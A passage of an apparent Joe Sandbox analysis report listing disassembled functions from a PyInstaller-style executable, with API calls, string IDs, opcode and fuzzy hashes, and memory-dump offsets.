                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+
                                                    • String ID: cli::array<$cli::pin_ptr<$std::nullptr_t$std::nullptr_t $void$void
                                                    • API String ID: 2943138195-2239912363
                                                    • Opcode ID: fd441c011f68102e089b8559749aab68fc751324ec247b824254d2e0013aff5e
                                                    • Instruction ID: b729102e4fc2fe6e3c269d5782209ae382f577118309f15701ea6d18b8878186
                                                    • Opcode Fuzzy Hash: fd441c011f68102e089b8559749aab68fc751324ec247b824254d2e0013aff5e
                                                    • Instruction Fuzzy Hash: 8B513862F08B5988FB25CF60E861ABC37A0BB44748F444235DA7D526EDDF7CA244C790
                                                    Function 00007FF6399B7FC0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 89processsynchronizationCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
                                                    • String ID: CreateProcessW$Failed to create child process!
                                                    • API String ID: 2895956056-699529898
                                                    • Opcode ID: 2d8580ce5d81a01d0f8683f73fef31206a84e7faf833a053d17f215ed92b6c27
                                                    • Instruction ID: df73f32ea119d9442f90b1cd7416fbf19a59969f838bb2d0beac387528eaafd8
                                                    • Opcode Fuzzy Hash: 2d8580ce5d81a01d0f8683f73fef31206a84e7faf833a053d17f215ed92b6c27
                                                    • Instruction Fuzzy Hash: 74411332A0878281DA209F24F8952AA73A6FF85360F580335E6AD877DADF7CD4449F40
                                                    Function 00007FFE14633A8C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 83networkthreadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: ErrorLast$CheckErr_Eval_SignalsThread$RestoreSaveconnect
                                                    • String ID: 3'
                                                    • API String ID: 1012362816-280543908
                                                    • Opcode ID: 4c2aaa0c3d8159640696ba06d8d00cbee7b06f13f29e807c9c1db9180f4fbb81
                                                    • Instruction ID: 93bdc48f83574bdf0d0c64df0d52c995c0c33cf22327f9967a018970c82e6042
                                                    • Opcode Fuzzy Hash: 4c2aaa0c3d8159640696ba06d8d00cbee7b06f13f29e807c9c1db9180f4fbb81
                                                    • Instruction Fuzzy Hash: E1313231B08F8286E7549F67A4C42796691AF667B8F0401B5EE4E827B5DE3CE4888680
                                                    Function 00007FFE14637974 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 49timeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: Time_$Err_FromSecondsString$MillisecondsObjectTimeval
                                                    • String ID: Timeout value out of range$timeout doesn't fit into C timeval
                                                    • API String ID: 4240314503-2798848688
                                                    • Opcode ID: 1a7d23c7c3133ec22ce468f513b0449c0fe3c53df5359948a482d87bcc896e03
                                                    • Instruction ID: 502eeea200505756dd182389452e1ed02c98ff2e78b6a3254c2b4f88a61ecbbe
                                                    • Opcode Fuzzy Hash: 1a7d23c7c3133ec22ce468f513b0449c0fe3c53df5359948a482d87bcc896e03
                                                    • Instruction Fuzzy Hash: 0911EF26B18E8282EB509B27E8C017923A1EF86779F045671D96D477F4DF3CE4498340
                                                    Function 00007FFE14637598 Relevance: 14.0, APIs: 5, Strings: 3, Instructions: 29stringCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: SizeString$Arg_Bytes_Err_FromParseTuple_inet_addrstrcmp
                                                    • String ID: 255.255.255.255$illegal IP address string passed to inet_aton$s:inet_aton
                                                    • API String ID: 717551241-4110412280
                                                    • Opcode ID: 437e0f5accdcc4c445e21ebdedb649c9d251ef100eda094add99a45a15582bd2
                                                    • Instruction ID: 3e3dce5d14008066187ca29aecd78430a0f83b8ab2ce936de71a0a176d0f5892
                                                    • Opcode Fuzzy Hash: 437e0f5accdcc4c445e21ebdedb649c9d251ef100eda094add99a45a15582bd2
                                                    • Instruction Fuzzy Hash: 1201DE61A08D8381EA109B27E8D01B923A0EF867B9F505572E65E867B8DF3CD84DD780
                                                    Function 00007FFDFF167E74 Relevance: 13.8, APIs: 9, Instructions: 282fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FFDFF168124: EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,00007FFDFF167EF2), ref: 00007FFDFF168144
                                                      • Part of subcall function 00007FFDFF168124: EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,00007FFDFF167EF2), ref: 00007FFDFF16819A
                                                      • Part of subcall function 00007FFDFF168124: LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,00007FFDFF167EF2), ref: 00007FFDFF16823F
                                                    • CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FFDFF167F51
                                                    • GetFileType.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FFDFF167F6F
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFDFF168105
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFDFF1ACB42
                                                    • CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FFDFF1ACB75
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: CriticalSection$EnterErrorFileLast$CloseCreateHandleLeaveType
                                                    • String ID:
                                                    • API String ID: 3788438030-0
                                                    • Opcode ID: 59afad09f3772062d551bc9d13e2e6998e9d18d203afc9e7224b3c8b9d463327
                                                    • Instruction ID: 8ff47c4b14692bfc12cc0707b126013d0bad3864ed08c80ba8b1e060d260abc8
                                                    • Opcode Fuzzy Hash: 59afad09f3772062d551bc9d13e2e6998e9d18d203afc9e7224b3c8b9d463327
                                                    • Instruction Fuzzy Hash: 8FC19F37B28A4189EB10CF68C4A09BC3761EB89BA8B145335DA7E977D9CF39D155C300
                                                    Function 00007FFDFF168670 Relevance: 13.6, APIs: 9, Instructions: 64COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF1A6FE9,?,?,?,?,00007FFDFF166EAA,?,?,?,00007FFDFF167561), ref: 00007FFDFF16867F
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1A6FE9,?,?,?,?,00007FFDFF166EAA,?,?,?,00007FFDFF167561), ref: 00007FFDFF16868D
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1A6FE9,?,?,?,?,00007FFDFF166EAA,?,?,?,00007FFDFF167561), ref: 00007FFDFF1686A1
                                                    • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF1A6FE9,?,?,?,?,00007FFDFF166EAA,?,?,?,00007FFDFF167561), ref: 00007FFDFF1686BB
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1A6FE9,?,?,?,?,00007FFDFF166EAA,?,?,?,00007FFDFF167561), ref: 00007FFDFF1686CD
                                                    • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF1A6FE9,?,?,?,?,00007FFDFF166EAA,?,?,?,00007FFDFF167561), ref: 00007FFDFF1686F3
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1A6FE9,?,?,?,?,00007FFDFF166EAA,?,?,?,00007FFDFF167561), ref: 00007FFDFF168719
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1A6FE9,?,?,?,?,00007FFDFF166EAA,?,?,?,00007FFDFF167561), ref: 00007FFDFF168742
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1A6FE9,?,?,?,?,00007FFDFF166EAA,?,?,?,00007FFDFF167561), ref: 00007FFDFF1AD001
                                                      • Part of subcall function 00007FFDFF162070: HeapFree.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00007FFDFF15F368,?,?,?), ref: 00007FFDFF162085
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Value$ErrorLast$FreeHeap
                                                    • String ID:
                                                    • API String ID: 3324550332-0
                                                    • Opcode ID: a76e68ed05aa8e8fb4d94b576f9e68516680051c4dd2ab0895be77a39d6bb4c5
                                                    • Instruction ID: edd0f0ffb9dbb013a68735f799f67458ae8e62c85d6dcae357030fad7051e4a7
                                                    • Opcode Fuzzy Hash: a76e68ed05aa8e8fb4d94b576f9e68516680051c4dd2ab0895be77a39d6bb4c5
                                                    • Instruction Fuzzy Hash: 77212C26F0DA4386FB589B35A874D392351AF89BB0F044334D43E867EEDF2CA5418704
                                                    Function 00007FF6399BDD28 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                                    • String ID: csm$csm$csm
                                                    • API String ID: 849930591-393685449
                                                    • Opcode ID: e61afc8d21ba52cdbe611d77afa9c967b031d652e012678c684f0478f5a183c7
                                                    • Instruction ID: be69ab4e69ac48f3952225d81e177e4215e21436fb178db1042bd068d56b4a83
                                                    • Opcode Fuzzy Hash: e61afc8d21ba52cdbe611d77afa9c967b031d652e012678c684f0478f5a183c7
                                                    • Instruction Fuzzy Hash: 74D17B72A087418AEB249FA5D4403AD37B6FB55788F184235EA4D97BDADF3CE480DB40
                                                    Function 00007FFE1A4961AA Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 162COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: FileHeader$ExceptionFindInstanceRaiseTargetType
                                                    • String ID: Access violation - no RTTI data!$Attempted a typeid of nullptr pointer!$Bad dynamic_cast!$Bad read pointer - no RTTI data!
                                                    • API String ID: 1852475696-928371585
                                                    • Opcode ID: ca6cf6770a5e62d56dc10247fecd8c14e7675c1b430a8679457d8e3be21ba961
                                                    • Instruction ID: 7bdbbdb918b00e0409b047d23eb28df2d0cba4c7cd99debcf32b591b946ba557
                                                    • Opcode Fuzzy Hash: ca6cf6770a5e62d56dc10247fecd8c14e7675c1b430a8679457d8e3be21ba961
                                                    • Instruction Fuzzy Hash: 46516D22B19E8692EA30DF66E4915B9A360FB48FA4F5041B7DA4F03A75DF3CE525C700
                                                    Function 00007FFDFF19D3B0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 127COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+$Name::operator+=
                                                    • String ID: {for
                                                    • API String ID: 179159573-864106941
                                                    • Opcode ID: 18417649adf341efaa8c743697161fb431a91f9fc4cc225e5c47d88e7276bc31
                                                    • Instruction ID: 4965faecac8ca5e44b44d300122f6350b408662471b9671661dee1b32c6df618
                                                    • Opcode Fuzzy Hash: 18417649adf341efaa8c743697161fb431a91f9fc4cc225e5c47d88e7276bc31
                                                    • Instruction Fuzzy Hash: FA511873B08A85A9F7219F24D4607E837A1EB4578CF809231EA6C47ADDEF78D654C780
                                                    Function 00007FFDFF21215C Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 126COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FFDFF168670: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF1A6FE9,?,?,?,?,00007FFDFF166EAA,?,?,?,00007FFDFF167561), ref: 00007FFDFF16867F
                                                      • Part of subcall function 00007FFDFF168670: FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1A6FE9,?,?,?,?,00007FFDFF166EAA,?,?,?,00007FFDFF167561), ref: 00007FFDFF16868D
                                                      • Part of subcall function 00007FFDFF168670: FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1A6FE9,?,?,?,?,00007FFDFF166EAA,?,?,?,00007FFDFF167561), ref: 00007FFDFF1686A1
                                                      • Part of subcall function 00007FFDFF168670: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF1A6FE9,?,?,?,?,00007FFDFF166EAA,?,?,?,00007FFDFF167561), ref: 00007FFDFF1686BB
                                                      • Part of subcall function 00007FFDFF211E80: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FFDFF211EC0
                                                    • GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,00000000,?,00000007,?), ref: 00007FFDFF212227
                                                    • GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,00000000,?,00000007,?), ref: 00007FFDFF21225D
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,?,00000000,?,00000007,?), ref: 00007FFDFF21226A
                                                    • GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,00000000,?,00000007,?), ref: 00007FFDFF2122BC
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,?,00000000,?,00000007,?), ref: 00007FFDFF2122C9
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: ErrorLast$FullNamePath$Value$CurrentDirectory
                                                    • String ID: .$:
                                                    • API String ID: 3777840885-4202072812
                                                    • Opcode ID: 0c509b874ff73b2005516c46db5b2dd82bbc32d846c9d5dce7325f33c88dfb4f
                                                    • Instruction ID: 1b639e0d5ad172b5efdbf36014e9830a2ce42b73dd4933114f8674eb35538425
                                                    • Opcode Fuzzy Hash: 0c509b874ff73b2005516c46db5b2dd82bbc32d846c9d5dce7325f33c88dfb4f
                                                    • Instruction Fuzzy Hash: 85515022F08613A9FB11ABB098609BD27A0AF54754F500635EE3DE7BDEDF7CA4418358
                                                    Function 00007FF6399CE020 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • FreeLibrary.KERNEL32(?,?,?,00007FF6399CE3BA,?,?,0000024622EC6A18,00007FF6399CA063,?,?,?,00007FF6399C9F5A,?,?,?,00007FF6399C524E), ref: 00007FF6399CE19C
                                                    • GetProcAddress.KERNEL32(?,?,?,00007FF6399CE3BA,?,?,0000024622EC6A18,00007FF6399CA063,?,?,?,00007FF6399C9F5A,?,?,?,00007FF6399C524E), ref: 00007FF6399CE1A8
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: AddressFreeLibraryProc
                                                    • String ID: api-ms-$ext-ms-
                                                    • API String ID: 3013587201-537541572
                                                    • Opcode ID: 400d167c79677b3a1b331b2dd1a2c4ed1cd7dec94f3cf9f9612a621c3bffedbb
                                                    • Instruction ID: 85eb7221287fff1d5a213cf0af7511734a256e2e29c285743cb30f9121d4e54d
                                                    • Opcode Fuzzy Hash: 400d167c79677b3a1b331b2dd1a2c4ed1cd7dec94f3cf9f9612a621c3bffedbb
                                                    • Instruction Fuzzy Hash: F141CF21F19A0286EB268F56AC006752293BF45BA0F0D4135DD0EC77CEEE3CE885AF40
                                                    Function 00007FF6399B7C40 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 116COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetTempPathW.KERNEL32(?,?,FFFFFFFF,00007FF6399B3834), ref: 00007FF6399B7CE4
                                                    • CreateDirectoryW.KERNEL32(?,?,FFFFFFFF,00007FF6399B3834), ref: 00007FF6399B7D2C
                                                      • Part of subcall function 00007FF6399B7E10: GetEnvironmentVariableW.KERNEL32(00007FF6399B365F), ref: 00007FF6399B7E47
                                                      • Part of subcall function 00007FF6399B7E10: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF6399B7E69
                                                      • Part of subcall function 00007FF6399C7548: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6399C7561
                                                      • Part of subcall function 00007FF6399B26C0: MessageBoxW.USER32 ref: 00007FF6399B2736
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Environment$CreateDirectoryExpandMessagePathStringsTempVariable_invalid_parameter_noinfo
                                                    • String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
                                                    • API String ID: 740614611-1339014028
                                                    • Opcode ID: 9cba264b996c54071923a246639d1af5409d9d1b2208d63368212f3f3054f6c1
                                                    • Instruction ID: b1cb2114d5c8f8c634ee8cef3f7cf102009a4b885aee3159c63c129c3c46d4e4
                                                    • Opcode Fuzzy Hash: 9cba264b996c54071923a246639d1af5409d9d1b2208d63368212f3f3054f6c1
                                                    • Instruction Fuzzy Hash: D1414C11A0D64281EA20AF6A9D952F91263EF957C0F884132D90EC7BDFEE3CE540AF40
                                                    Function 00007FFE1A496B5C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • LoadLibraryExW.KERNEL32(?,?,?,00007FFE1A496D1B,?,?,00000000,00007FFE1A496B4C,?,?,?,?,00007FFE1A496885), ref: 00007FFE1A496BE1
                                                    • GetLastError.KERNEL32(?,?,?,00007FFE1A496D1B,?,?,00000000,00007FFE1A496B4C,?,?,?,?,00007FFE1A496885), ref: 00007FFE1A496BEF
                                                    • wcsncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FFE1A496D1B,?,?,00000000,00007FFE1A496B4C,?,?,?,?,00007FFE1A496885), ref: 00007FFE1A496C08
                                                    • LoadLibraryExW.KERNEL32(?,?,?,00007FFE1A496D1B,?,?,00000000,00007FFE1A496B4C,?,?,?,?,00007FFE1A496885), ref: 00007FFE1A496C1A
                                                    • FreeLibrary.KERNEL32(?,?,?,00007FFE1A496D1B,?,?,00000000,00007FFE1A496B4C,?,?,?,?,00007FFE1A496885), ref: 00007FFE1A496C60
                                                    • GetProcAddress.KERNEL32(?,?,?,00007FFE1A496D1B,?,?,00000000,00007FFE1A496B4C,?,?,?,?,00007FFE1A496885), ref: 00007FFE1A496C6C
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: Library$Load$AddressErrorFreeLastProcwcsncmp
                                                    • String ID: api-ms-
                                                    • API String ID: 916704608-2084034818
                                                    • Opcode ID: 936032d40fa96b032ac86a2d89c5a398f87e2a2d839e469644f99c68bf1566a7
                                                    • Instruction ID: 1305ff66868f2632fe60533f27a6588a97f111d8e02aeb321bfbf6a33065b2c5
